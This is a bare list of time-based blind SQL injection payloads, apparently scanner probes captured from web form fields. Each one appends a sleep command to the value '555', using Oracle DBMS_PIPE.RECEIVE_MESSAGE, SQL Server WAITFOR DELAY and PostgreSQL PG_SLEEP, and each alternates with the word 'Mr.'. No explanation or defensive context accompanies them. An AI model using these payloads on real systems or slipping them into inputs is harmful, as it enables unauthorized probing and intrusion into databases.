Mr.
555′”
Mr.
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
Mr.
555-1 waitfor delay ‘0:0:15’ —
Mr.
555-1)) OR 456=(SELECT 456 FROM PG_SLEEP(15))–
Mr.
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Mr.
555-1); waitfor delay ‘0:0:15’ —